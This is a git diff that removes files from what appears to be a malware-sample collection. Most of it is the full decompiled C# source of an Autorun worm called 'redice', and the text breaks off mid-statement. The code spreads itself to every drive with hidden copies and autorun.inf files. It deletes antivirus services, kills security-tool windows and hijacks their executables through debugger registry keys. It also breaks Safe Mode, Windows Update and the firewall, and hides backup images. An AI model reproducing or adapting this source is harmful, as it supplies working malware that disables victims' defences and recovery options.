a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/a6538a39-a489-4fc0-b71d-56342f265087 +++ /dev/null @@ -1 +0,0 @@ -Enq^Vq۱% \ No newline at end of file diff --git a/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/​  ​      ​ b/MSIL/Trojan-Spy/Win32/Z/Trojan-Spy.Win32.Zbot.gqzd-88455fd56e69c1e41a6c00e4b34b2fb798c92d553a003068a7848cca0f6a7f2b/​  ​      ​ deleted file mode 100644 index aeea64b9a7cfc1fdb3c917455102260d782ce8b2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 297 zcmV+^0oML(1|$n=4kJ~c#CEZ)o#CCec*OOB_(;cC{o2O}4CrP-cD(kOmp2T)ufkP2Jtzx;3(jABzF$kDk diff --git a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/AssemblyInfo.cs b/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/AssemblyInfo.cs deleted file mode 100644 index 18c32dc6..00000000 --- a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/AssemblyInfo.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: ComVisible(false)] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("1481a04a-fe5d-4dce-9d00-2a0a47ff5c44")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("版权所有 (C) 番茄花园 2007")] -[assembly: AssemblyProduct("redice")] -[assembly: AssemblyCompany("番茄花园")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyTitle("redice")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/ExecRegedit.cs b/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/ExecRegedit.cs deleted file mode 100644 index e08eaa5c..00000000 --- a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/ExecRegedit.cs +++ /dev/null @@ -1,417 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: redice.ExecRegedit -// Assembly: redice, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A08BD253-D698-4C81-8053-905E15E13E56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265.exe - -using Microsoft.Win32; - -namespace redice -{ - internal class ExecRegedit - { - public void changeIEtitle() - { - try - { - RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("software\\microsoft\\Internet Explorer\\main", true); - registryKey1.SetValue("Window Title", (object) "抗日,是全中国人民义不容辞的责任!", RegistryValueKind.String); - registryKey1.Close(); - RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("software\\microsoft\\Internet Explorer\\main", true); - registryKey2.SetValue("Window Title", (object) "抗日,是全中国人民义不容辞的责任!", RegistryValueKind.String); - registryKey2.Close(); - } - catch - { - } - } - - public void setIEStarPage() - { - try - { - RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey("software\\microsoft\\Internet Explorer\\main", true); - registryKey1.SetValue("start page", (object) "http://hi.baidu.com/zhongguokangri", RegistryValueKind.String); - registryKey1.SetValue("local page", (object) "http://hi.baidu.com/zhongguokangri", RegistryValueKind.String); - registryKey1.Close(); - RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("software\\microsoft\\Internet Explorer\\main", true); - registryKey2.SetValue("start page", (object) "http://hi.baidu.com/zhongguokangri", RegistryValueKind.String); - registryKey2.SetValue("local page", (object) "http://hi.baidu.com/zhongguokangri", RegistryValueKind.String); - registryKey2.Close(); - } - catch - { - } - } - - public void killSafeServer() - { - this.execKillSafeServer("navapsvc"); - this.execKillSafeServer("wscsvc"); - this.execKillSafeServer("KPfwSvc"); - this.execKillSafeServer("SNDSrvc"); - this.execKillSafeServer("ccProxy"); - this.execKillSafeServer("ccEvtMgr"); - this.execKillSafeServer("ccSetMgr"); - this.execKillSafeServer("SPBBCSvc"); - this.execKillSafeServer("Symantec Core LC"); - this.execKillSafeServer("NPFMntor"); - this.execKillSafeServer("MskService"); - this.execKillSafeServer("MskService"); - this.execKillSafeServer("FireSvc"); - this.execKillSafeServer("avp"); - } - - private void execKillSafeServer(string serverName) - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services", true); - try - { - registryKey.DeleteSubKeyTree(serverName); - registryKey.Close(); - } - catch - { - } - } - - public void delOtherVirusReg() - { - this.delOtherVirusRegMeans("{DE35052A-9E37-4827-A1EC-79BF400D27A4}"); - this.delOtherVirusRegMeans("{AEB6717E-7E19-11d0-97EE-00C04FD91972}"); - this.delOtherVirusRegMeans("{DD7D4640-4464-48C0-82FD-21338366D2D2}"); - this.delOtherVirusRegMeans("{B8A170A8-7AD3-4678-B2FE-F2D7381CC1B5}"); - this.delOtherVirusRegMeans("{131AB311-16F1-F13B-1E43-11A24B51AFD1}"); - this.delOtherVirusRegMeans("{274B93C2-A6DF-485F-8576-AB0653134A76}"); - this.delOtherVirusRegMeans("{1496D5ED-7A09-46D0-8C92-B8E71A4304DF}"); - this.delOtherVirusRegMeans("{0CB68AD9-FF66-3E63-636B-B693E62F6236}"); - this.delOtherVirusRegMeans("{09B68AD9-FF66-3E63-636B-B693E62F6236}"); - this.delOtherVirusRegMeans("{754FB7D8-B8FE-4810-B363-A788CD060F1F}"); - this.delOtherVirusRegMeans("{A6011F8F-A7F8-49AA-9ADA-49127D43138F}"); - this.delOtherVirusRegMeans("{06A68AD9-FF56-6E73-937B-B893E72F6226}"); - this.delOtherVirusRegMeans("{01F6EB6F-AB5C-1FDD-6E5B-FB6EE3CC6CD6}"); - this.delOtherVirusRegMeans("{06E6B6B6-BE3C-6E23-6C8E-B833E2CE63B8}"); - this.delOtherVirusRegMeans("{BC0ACA58-6A6F-51DA-9EFE-9D20F4F621BA}"); - this.delOtherVirusRegMeans("{AEB6717E-7E19-11d0-97EE-00C04FD91972}"); - this.delOtherVirusRegMeans("{99F1D023-7CEB-4586-80F7-BB1A98DB7602}"); - this.delOtherVirusRegMeans("{FEB94F5A-69F3-4645-8C2B-9E71D270AF2E}"); - this.delOtherVirusRegMeans("{923509F1-45CB-4EC0-BDE0-1DED35B8FD60}"); - this.delOtherVirusRegMeans("{42A612A4-4334-4424-4234-42261A31A236}"); - } - - private void delOtherVirusRegMeans(string virusRegValue) - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellExecuteHooks", true); - try - { - registryKey.DeleteSubKey(virusRegValue, true); - registryKey.Close(); - } - catch - { - } - } - - public void closeAutoUpdateAndSafeMiddle() - { - RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services", true); - try - { - registryKey1.DeleteSubKey("SharedAccess", true); - registryKey1.Close(); - } - catch - { - } - try - { - registryKey1.DeleteSubKey("wuauserv", true); - registryKey1.Close(); - } - catch - { - } - RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\update", true); - try - { - registryKey2.SetValue("UpdateMode", (object) 0, RegistryValueKind.DWord); - } - catch - { - } - } - - public void recomposeFileRelating() - { - try - { - RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("batfile\\shell\\open\\command", true); - registryKey.SetValue((string) null, (object) "c:\\services.exe '%1'"); - registryKey.Close(); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("cmdfile\\shell\\open\\command", true); - registryKey.SetValue((string) null, (object) "c:\\services.exe '%1'"); - registryKey.Close(); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("comfile\\shell\\open\\command", true); - registryKey.SetValue((string) null, (object) "c:\\services.exe '%1'"); - registryKey.Close(); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("regfile\\shell\\open\\command", true); - registryKey.SetValue((string) null, (object) "c:\\services.exe '%1'"); - registryKey.Close(); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("scrfile\\shell\\open\\command", true); - registryKey.SetValue((string) null, (object) "c:\\services.exe '%1'"); - registryKey.Close(); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("isofile\\shell\\open\\command", true); - registryKey.SetValue((string) null, (object) "c:\\services.exe '%1'"); - registryKey.Close(); - } - catch - { - } - try - { - RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey("piffile\\shell\\open\\command", true); - registryKey.SetValue((string) null, (object) "c:\\services.exe '%1'"); - registryKey.Close(); - } - catch - { - } - } - - public void fileImageHijack() - { - this.addFileImageHijack("360rpt.exe"); - this.addFileImageHijack("360Safe.exe"); - this.addFileImageHijack("360tray.exe"); - this.addFileImageHijack("adam.exe"); - this.addFileImageHijack("AgentSvr.exe"); - this.addFileImageHijack("AppSvc32.exe"); - this.addFileImageHijack("AST.exe"); - this.addFileImageHijack("autoruns.exe"); - this.addFileImageHijack("avgrssvc.exe"); - this.addFileImageHijack("AvMonitor.exe"); - this.addFileImageHijack("avp.com"); - this.addFileImageHijack("avp.exe"); - this.addFileImageHijack("CCenter.exe"); - this.addFileImageHijack("ccSvcHst.exe"); - this.addFileImageHijack("FileDsty.exe"); - this.addFileImageHijack("FTCleanerShell.exe"); - this.addFileImageHijack("HijackThis.exe"); - this.addFileImageHijack("IceSword.exe"); - this.addFileImageHijack("iparmo.exe"); - this.addFileImageHijack("Iparmor.exe"); - this.addFileImageHijack("isPwdSvc.exe"); - this.addFileImageHijack("kabaload.exe"); - this.addFileImageHijack("KaScrScn.SCR"); - this.addFileImageHijack("KASMain.exe"); - this.addFileImageHijack("KASTask.exe"); - this.addFileImageHijack("KAV32.exe"); - this.addFileImageHijack("KAVDX.exe"); - this.addFileImageHijack("KAVPFW.exe"); - this.addFileImageHijack("KAVSetup.exe"); - this.addFileImageHijack("KAVStart.exe"); - this.addFileImageHijack("KISLnchr.exe"); - this.addFileImageHijack("KMailMon.exe"); - this.addFileImageHijack("KMFilter.exe"); - this.addFileImageHijack("KPFW32.exe"); - this.addFileImageHijack("KPFW32X.exe"); - this.addFileImageHijack("KPFWSvc.exe"); - this.addFileImageHijack("KRegEx.exe"); - this.addFileImageHijack("krepair.COM"); - this.addFileImageHijack("KsLoader.exe"); - this.addFileImageHijack("KVCenter.kxp"); - this.addFileImageHijack("KvDetect.exe"); - this.addFileImageHijack("KvfwMcl.exe"); - this.addFileImageHijack("KVMonXP.kxp"); - this.addFileImageHijack("KVMonXP_1.kxp"); - this.addFileImageHijack("kvol.exe"); - this.addFileImageHijack("kvolself.exe"); - this.addFileImageHijack("KvReport.kxp"); - this.addFileImageHijack("KVScan.kxp"); - this.addFileImageHijack("KVSrvXP.exe"); - this.addFileImageHijack("KVStub.kxp"); - this.addFileImageHijack("kvupload.exe"); - this.addFileImageHijack("kvwsc.exe"); - this.addFileImageHijack("KvXP.kxp"); - this.addFileImageHijack("KvXP_1.kxp"); - this.addFileImageHijack("KWatch.exe"); - this.addFileImageHijack("KWatch9x.exe"); - this.addFileImageHijack("KWatchX.exe"); - this.addFileImageHijack("loaddll.exe"); - this.addFileImageHijack("MagicSet.exe"); - this.addFileImageHijack("mcconsol.exe"); - this.addFileImageHijack("mmqczj.exe"); - this.addFileImageHijack("mmsk.exe"); - this.addFileImageHijack("NAVSetup.exe"); - this.addFileImageHijack("nod32krn.exe"); - this.addFileImageHijack("nod32kui.exe"); - this.addFileImageHijack("PFW.exe"); - this.addFileImageHijack("PFWLiveUpdate.exe"); - this.addFileImageHijack("QHSET.exe"); - this.addFileImageHijack("Ras.exe"); - this.addFileImageHijack("Rav.exe"); - this.addFileImageHijack("RavMon.exe"); - this.addFileImageHijack("RavMonD.exe"); - this.addFileImageHijack("RavStub.exe"); - this.addFileImageHijack("RavTask.exe"); - this.addFileImageHijack("RegClean.exe"); - this.addFileImageHijack("rfwcfg.exe"); - this.addFileImageHijack("RfwMain.exe"); - this.addFileImageHijack("rfwProxy.exe"); - this.addFileImageHijack("rfwsrv.exe"); - this.addFileImageHijack("RsAgent.exe"); - this.addFileImageHijack("Rsaupd.exe"); - this.addFileImageHijack("runiep.exe"); - this.addFileImageHijack("safelive.exe"); - this.addFileImageHijack("scan32.exe"); - this.addFileImageHijack("shcfg32.exe"); - this.addFileImageHijack("SmartUp.exe"); - this.addFileImageHijack("SREng.exe"); - this.addFileImageHijack("symlcsvc.exe"); - this.addFileImageHijack("SysSafe.exe"); - this.addFileImageHijack("TrojanDetector.exe"); - this.addFileImageHijack("Trojanwall.exe"); - this.addFileImageHijack("TrojDie.kxp"); - this.addFileImageHijack("UIHost.exe"); - this.addFileImageHijack("UmxAgent.exe"); - this.addFileImageHijack("UmxAttachment.exe"); - this.addFileImageHijack("UmxCfg.exe"); - this.addFileImageHijack("UmxFwHlp.exe"); - this.addFileImageHijack("UmxPol.exe"); - this.addFileImageHijack("UpLive.EXE.exe"); - this.addFileImageHijack("WoptiClean.exe"); - this.addFileImageHijack("zxsweep.exe"); - } - - private void addFileImageHijack(string safeSoftName) - { - try - { - string name = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"; - string str = "c:\\services.exe"; - RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey(name, true); - registryKey1.CreateSubKey(safeSoftName); - registryKey1.Close(); - RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey(name + "\\" + safeSoftName, true); - registryKey2.SetValue("Debugger", (object) str, RegistryValueKind.String); - registryKey2.Close(); - } - catch - { - } - } - - public void delRegeditHideFile() - { - try - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL", true); - try - { - registryKey.DeleteValue("CheckedValue", true); - } - catch - { - } - try - { - registryKey.SetValue("CheckedValue", (object) 0, RegistryValueKind.String); - } - catch - { - } - } - catch - { - } - } - - public void uodateRegeditAutoRun() - { - try - { - RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("software\\microsoft\\windows\\currentversion\\run", true); - registryKey1.SetValue("WinSystem", (object) "c:\\services.exe", RegistryValueKind.String); - registryKey1.Close(); - RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("software\\microsoft\\windows\\currentversion\\run", true); - registryKey2.SetValue("WinSystem", (object) "c:\\services.exe", RegistryValueKind.String); - registryKey2.Close(); - } - catch - { - } - } - - public void destroySafeMode() - { - try - { - RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\SafeBoot\\Minimal", true); - RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\SafeBoot\\Network", true); - RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal", true); - RegistryKey registryKey4 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Network", true); - try - { - registryKey1.DeleteSubKey("{4D36E967-E325-11CE-BFC1-08002BE10318}", true); - } - catch - { - } - try - { - registryKey2.DeleteSubKey("{4D36E967-E325-11CE-BFC1-08002BE10318}", true); - } - catch - { - } - try - { - registryKey3.DeleteSubKey("{4D36E967-E325-11CE-BFC1-08002BE10318}", true); - } - catch - { - } - try - { - registryKey4.DeleteSubKey("{4D36E967-E325-11CE-BFC1-08002BE10318}", true); - } - catch - { - } - } - catch - { - } - } - } -} diff --git a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Form1.cs b/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Form1.cs deleted file mode 100644 index 22737dcd..00000000 --- a/MSIL/Virus/MSIL/A/Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265/Form1.cs +++ /dev/null @@ -1,730 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: redice.Form1 -// Assembly: redice, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: A08BD253-D698-4C81-8053-905E15E13E56 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.MSIL.Autorun.a-6d6e91addfd09cee507606780796c379a8ff3d75a3229977e98132df6a9e6265.exe - -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Runtime.InteropServices; -using System.Threading; -using System.Windows.Forms; - -namespace redice -{ - public class Form1 : Form - { - private ExecRegedit objExecRegdit = new ExecRegedit(); - private IContainer components; - private System.Windows.Forms.Timer timeCloseSafesoft; - private System.Windows.Forms.Timer timerLong20; - private System.Windows.Forms.Timer timerMid5; - - private int PrevInstance() => Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName).GetUpperBound(0); - - public Form1() => this.InitializeComponent(); - - private void Form1_Load(object sender, EventArgs e) - { - try - { - try - { - Process.GetCurrentProcess(); - string processName = Process.GetCurrentProcess().ProcessName; - if (Process.GetCurrentProcess().ProcessName.ToLower().ToString().Equals("services")) - { - if (this.PrevInstance() > 1) - Application.Exit(); - } - else if (this.PrevInstance() > 0) - Application.Exit(); - } - catch - { - } - try - { - this.hideForm(); - } - catch - { - } - try - { - this.changeSystemTime(); - } - catch - { - } - try - { - this.objExecRegdit.destroySafeMode(); - } - catch - { - } - try - { - this.objExecRegdit.delRegeditHideFile(); - } - catch - { - } - try - { - this.objExecRegdit.uodateRegeditAutoRun(); - } - catch - { - } - try - { - this.objExecRegdit.setIEStarPage(); - } - catch - { - } - try - { - this.objExecRegdit.changeIEtitle(); - } - catch - { - } - } - catch - { - } - try - { - if (!this.IsRemove(AppDomain.CurrentDomain.BaseDirectory.Substring(0, 1).ToUpper() + ":\\")) - return; - Process.Start("c:\\services.exe"); - Application.Exit(); - } - catch - { - } - } - - private void timeCloseSafesoft_Tick(object sender, EventArgs e) - { - try - { - this.closeSafeSoft(); - } - catch - { - } - } - - private void timerLong20_Tick(object sender, EventArgs e) - { - try - { - this.delUImmunityCreateAutorun(); - } - catch - { - } - try - { - this.copyVirusReName(); - } - catch - { - } - } - - private void timerMid5_Tick(object sender, EventArgs e) - { - try - { - this.changeSystemTime(); - } - catch - { - } - try - { - this.objExecRegdit.destroySafeMode(); - } - catch - { - } - try - { - this.objExecRegdit.fileImageHijack(); - } - catch - { - } - try - { - this.objExecRegdit.delRegeditHideFile(); - } - catch - { - } - try - { - this.objExecRegdit.recomposeFileRelating(); - } - catch - { - } - try - { - this.objExecRegdit.delOtherVirusReg(); - } - catch - { - } - try - { - this.findAllGhoPath(); - } - catch - { - } - try - { - this.objExecRegdit.killSafeServer(); - } - catch - { - } - try - { - this.objExecRegdit.closeAutoUpdateAndSafeMiddle(); - } - catch - { - } - try - { - this.objExecRegdit.uodateRegeditAutoRun(); - } - catch - { - } - try - { - this.objExecRegdit.setIEStarPage(); - } - catch - { - } - try - { - this.objExecRegdit.changeIEtitle(); - } - catch - { - } - } - - private void copyVirusReName() - { - Process p = new Process(); - try - { - string[] logicalDrives = Environment.GetLogicalDrives(); - for (int index = 0; index < logicalDrives.Length; ++index) - { - string currentDirectory = Directory.GetCurrentDirectory(); - string fileName = Path.GetFileName(Application.ExecutablePath); - string upper = logicalDrives[index].ToString().Substring(0, 1).ToUpper(); - if (!upper.Equals("A")) - { - if (!this.IsCDRom(logicalDrives[index].ToString())) - { - try - { - File.Copy(currentDirectory + "\\" + fileName, upper + ":\\services.exe", true); - File.SetAttributes(upper + ":\\services.exe", FileAttributes.Normal); - File.SetAttributes(upper + ":\\services.exe", FileAttributes.ReadOnly); - FileAttributes attributes1 = File.GetAttributes(upper + ":\\services.exe"); - File.SetAttributes(upper + ":\\services.exe", attributes1 | FileAttributes.System); - FileAttributes attributes2 = File.GetAttributes(upper + ":\\services.exe"); - File.SetAttributes(upper + ":\\services.exe", attributes2 | FileAttributes.Hidden); - string str1 = upper + ":\\services.exe"; - string str2 = upper + ":\\hotice..\\"; - p = this.execCmd(p); - Thread.Sleep(25); - p.StandardInput.WriteLine("md " + upper + ":\\hotice..\\"); - string str3 = "copy " + str1 + " " + str2; - Thread.Sleep(25); - p.StandardInput.WriteLine(str3); - p.Dispose(); - p.Close(); - } - catch - { - } - } - } - } - } - catch - { - } - } - - [DllImport("kernel32.dll", CharSet = CharSet.Auto)] - private static extern int GetDriveType(string driveinfo); - - public bool IsCDRom(string driveInfo) - { - switch (driveInfo) - { - case "": - case null: - return false; - default: - return Form1.GetDriveType(driveInfo) == 5; - } - } - - public bool IsRemove(string driveInfo) - { - switch (driveInfo) - { - case "": - case null: - return false; - default: - return Form1.GetDriveType(driveInfo) == 2; - } - } - - private void delUImmunityCreateAutorun() - { - try - { - string[] logicalDrives = Environment.GetLogicalDrives(); - for (int index = 0; index < logicalDrives.Length; ++index) - { - string upper = logicalDrives[index].ToString().Substring(0, 1).ToUpper(); - if (!this.IsCDRom(logicalDrives[index].ToString())) - { - if (!upper.Equals("A")) - { - try - { - this.execDelUImmunityCreateAutorun(upper); - } - catch - { - } - } - } - } - } - catch - { - } - } - - private void execDelUImmunityCreateAutorun(string rootPath) - { - string path1 = rootPath + ":\\autorun.inf"; - if (File.Exists(path1)) - { - File.SetAttributes(path1, FileAttributes.Normal); - File.Delete(path1); - this.buildAutoruninf(rootPath); - } - else if (Directory.Exists(path1)) - { - File.SetAttributes(path1, FileAttributes.Normal); - try - { - Directory.Delete(path1, true); - } - catch - { - Directory.GetFiles(path1); - foreach (FileInfo file in new DirectoryInfo(path1).GetFiles()) - { - string path2 = path1 + "\\" + file.ToString(); - File.SetAttributes(path2, FileAttributes.Normal); - File.Delete(path2); - } - } - try - { - Directory.Delete(path1, true); - } - catch - { - try - { - Process process = this.execCmd(new Process()); - string str = "rd /q/s " + rootPath + ":\\autorun.inf\\"; - process.StandardInput.WriteLine(str); - process.Close(); - } - catch - { - } - } - try - { - File.SetAttributes(path1, FileAttributes.Normal); - Directory.Delete(path1, true); - } - catch - { - } - this.buildAutoruninf(rootPath); - } - else - { - try - { - this.buildAutoruninf(rootPath); - } - catch - { - } - } - } - - private Process execCmd(Process p) - { - p.StartInfo.FileName = "cmd.exe"; - p.StartInfo.UseShellExecute = false; - p.StartInfo.RedirectStandardInput = true; - p.StartInfo.RedirectStandardOutput = true; - p.StartInfo.RedirectStandardError = true; - p.StartInfo.CreateNoWindow = true; - p.Start(); - return p; - } - - private void buildAutoruninf(string rootPath) - { - try - { - string path = rootPath + ":\\autorun.inf"; - File.SetAttributes(path, FileAttributes.Normal); - Directory.Delete(path, true); - } - catch - { - } - try - { - using (StreamWriter streamWriter = new StreamWriter(rootPath + ":\\autorun.inf")) - { - streamWriter.WriteLine("[autorun]"); - streamWriter.WriteLine("OPEN=" + rootPath + ":\\services.exe"); - streamWriter.WriteLine("shell\\open\\Command=" + rootPath + ":\\services.exe"); - streamWriter.WriteLine("shell\\open\\Default="); - streamWriter.Write("shell\\explore\\Command=" + rootPath + ":\\services.exe"); - } - File.SetAttributes(rootPath + ":\\autorun.inf", FileAttributes.Normal); - File.SetAttributes(rootPath + ":\\autorun.inf", FileAttributes.ReadOnly); - FileAttributes attributes1 = File.GetAttributes(rootPath + ":\\autorun.inf"); - File.SetAttributes(rootPath + ":\\autorun.inf", attributes1 | FileAttributes.System); - FileAttributes attributes2 = File.GetAttributes(rootPath + ":\\autorun.inf"); - File.SetAttributes(rootPath + ":\\autorun.inf", attributes2 | FileAttributes.Hidden); - } - catch - { - } - } - - private void findAllGhoPath() - { - try - { - string[] logicalDrives = Environment.GetLogicalDrives(); - for (int index = 0; index < logicalDrives.Length; ++index) - { - string upper = logicalDrives[index].ToString().Substring(0, 1).ToUpper(); - if (!this.IsCDRom(logicalDrives[index].ToString())) - { - if (!upper.Equals("A")) - { - try - { - this.delGhoGetPath(upper); - this.delGhoGetPath(upper + ":\\sysbak\\"); - this.delGhoGetPath(upper + ":\\beifen\\"); - } - catch - { - } - } - } - } - } - catch - { - } - } - - private void delGhoGetPath(string path) - { - try - { - if (path.Length == 1) - this.checkDelGho(Directory.GetFiles(path + ":\\")); - else - this.checkDelGho(Directory.GetFiles(path)); - } - catch - { - } - } - - private void checkDelGho(string[] ghoRootPath) - { - foreach (string str1 in ghoRootPath) - { - int length = str1.Length; - try - { - string str2 = str1.Substring(length - 4, 4); - if (!str2.ToUpper().Equals(".GHO") && !str2.ToUpper().Equals(".BKF") && !str2.ToUpper().Equals(".PQI") && !str2.ToUpper().Equals(".TIB")) - { - if (!str2.ToUpper().Equals(".BAK")) - continue; - } - File.SetAttributes(str1, FileAttributes.Normal); - string str3 = str1 + ".bek"; - File.Move(str1, str3); - File.SetAttributes(str3, FileAttributes.Hidden); - } - catch - { - } - } - } - - private void changeSystemTime() - { - try - { - Form1.SystemTime st = new Form1.SystemTime(); - Form1.LibWrapDateTime.GetLocalTime(st); - st.wYear = (ushort) 2006; - Form1.LibWrapDateTime.SetLocalTime(st); - } - catch - { - } - } - - private void hideForm() - { - try - { - this.Hide(); - } - catch - { - } - } - - private void closeSafeSoft() - { - foreach (Process process in Process.GetProcesses()) - { - try - { - if (process.MainWindowTitle.Length >= 1) - { - string mainWindowTitle = process.MainWindowTitle; - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "兔子拜佛专杀")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "报警")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "举报")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "流氓软件")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "恶意软件")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "IceSword")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "进程")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "系统配置")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "注册表")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "彻底清除")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "winrar")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "icesword")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "SYMANTEC")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "cmd")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "c:\\")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "d:\\")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "e:\\")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "f:\\")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "g:\\")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "h:\\")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "i:\\")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "j:\\")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "求救")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "日本の陛下")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "日文学习")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "任务管理器")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "btbaicai")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "wopticlean")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "IE修复")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "新病毒")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "procexp")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "autoruns")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "GMER")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "PAVARK")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "提取")) - process.Kill(); - if (this.execCloseSafeSoftHaveTitle(mainWindowTitle, "上报")) - process.Kill(); - } - else - { - string processName = process.ProcessName; - if 